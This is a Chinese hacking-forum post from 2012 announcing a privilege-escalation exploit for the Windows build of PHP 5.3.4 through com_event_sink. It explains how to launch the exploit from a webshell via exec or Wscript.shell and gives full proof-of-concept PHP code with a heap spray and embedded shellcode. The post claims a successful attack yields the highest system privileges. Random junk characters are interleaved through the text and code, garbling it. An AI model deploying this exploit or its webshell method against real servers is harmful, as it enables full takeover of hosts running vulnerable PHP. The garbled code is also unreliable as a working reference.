找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2397|回复: 0
打印 上一主题 下一主题

PHP 5.3.4(WIN) COM_SINK权限提升漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-9 21:08:13 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
PHP最新版已经更新至5.4.x,不过中国大陆尚处于在5.2.x和5.3.x更替的阶段。存在漏洞的php存在于5.3.x版本中/ o+ }# y( X) o$ {
; o" Y) Y( K. o% F
测试方法如下:cmd /c x:\php\php.exe x:\test.php5 t/ Z9 q9 C. X1 x- {* w4 x

% _0 U7 A! l6 g6 ?  b6 D下载php程序至本地,然后使用php.exe解析php即可。Webshell上面使用php的exec等函数执行,或者使用Wscript.shell调用cmd.exe然后 /c x:\php\php.exe x:\xxxx\test.php
# C# A% |2 z& h1 ^2 j, O# g. X; ~2 F这里是两个测试的截图:& h( d7 C% h3 v# i( u* j7 e; \0 A! ~

: P/ p, v9 N1 z9 u1 [7 h# m! ?, h0 X! ^% y' a3 {

4 \9 X3 s3 O1 j9 K9 f( ~! R6 T& L  c) l+ Z3 \
$ b- H4 ?/ z; {! q1 E# z' M$ ^, }, S+ Z
成功利用此漏洞的攻击者将获得系统的最高权限7 `* t( D6 X! b! {+ w; ?
0 B9 _' Z- ^: y0 l

0 H6 v' K, Z6 K0 u1 a; O. t( E  r" ^' p

& n0 \. x+ X! c" j' R& d$ W# o3 u8 d2 l
/ w) p2 T% j8 ]) X; C/ y关于漏洞分析稍后附上。一下是PoC代码:. v2 |+ M6 `, y) [

: r$ \2 s  a  Y( u+ M. f2 O3 s<?php  Y: M$ `. f: Z. J: ~
//PHP 5.3.4(Win版) com_event_sink()模型权限提升漏洞
5 R( S% b( S5 ~6 `# a6 f* K//$eip ="\x44\x43\x42\x41";, h- R# l- A) q: ]4 a4 b5 q# |; ~9 ~  N
$eip= "\x4b\xe8\x57\x78";
% A2 T, S9 Y) t$ f# T: ~1 F8 x) l$eax ="\x80\x01\x8d\x04";
- K* C  Q- h0 t4 r+ G: y1 ^9 u$deodrant="";2 f: @; ^$ P3 x0 M6 b9 Z
$axespray = str_repeat($eip.$eax,0x80);
0 t* I- h# o8 _0 N6 X$ M//048d0190
8 ]% b0 k& \' Z+ m: |2 `0 q: Aecho strlen($axespray);
2 @0 Y4 ^, D' R. ]+ ?& R2 N: {' Eecho "PHP 5.3.4(WIN) COM_SINK Privilege Escalation\n";7 \' g: G( H. R
echo "Silic Group Hacker Army - BlackBap.Org";, j; c: L) j/ q( m
//19200 ==4B32 4b00* N2 M: p: a! {# M9 g
for($axeeffect=0;$axeeffect<0x4B32;$axeeffect++){$deodrant.=$axespray;}% S; o$ H- e; i7 K  {# j2 e) W
$terminate = "T";
- F, H. I* W" a) @$u[] =$deodrant;( `7 A9 X  g! Y; d) [
$r[] =$deodrant.$terminate;
7 f  h1 p. ]- ?) o& w$a[] =$deodrant.$terminate;0 x& S9 G' m3 b- {3 O, u0 |
$s[] =$deodrant.$terminate;
% X# [+ k4 I6 h6 i, }7 E% D9 R//$vVar = new VARIANT(0x048d0038+$offset);        这里是可控可改的$ }( \- C0 U0 V
$vVar = new VARIANT(0x048d0000+180);% Y3 J! J" E  }1 _2 Z4 U
//弹窗代码(Shellcode)( a8 }7 P4 A$ ~2 l- [, `9 z+ K* w
$buffer = "\x90\x90\x90"."\xB9\x38\xDD\x82\x7C\x33\xC0\xBB"."\xD8\x0A\x86\x7C\x51\x50\xFF\xd3";
+ ?- p( ^" K/ S0 b8 ?' k$var2 = new VARIANT(0x41414242);2 O' ], q1 q, C) o: ^) _- m, N! o
com_event_sink($vVar,$var2,$buffer);6 E$ Z! a. m  R$ u: j% r2 n7 ^! J* U
?>
0 n, f# }) f  t5 g

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表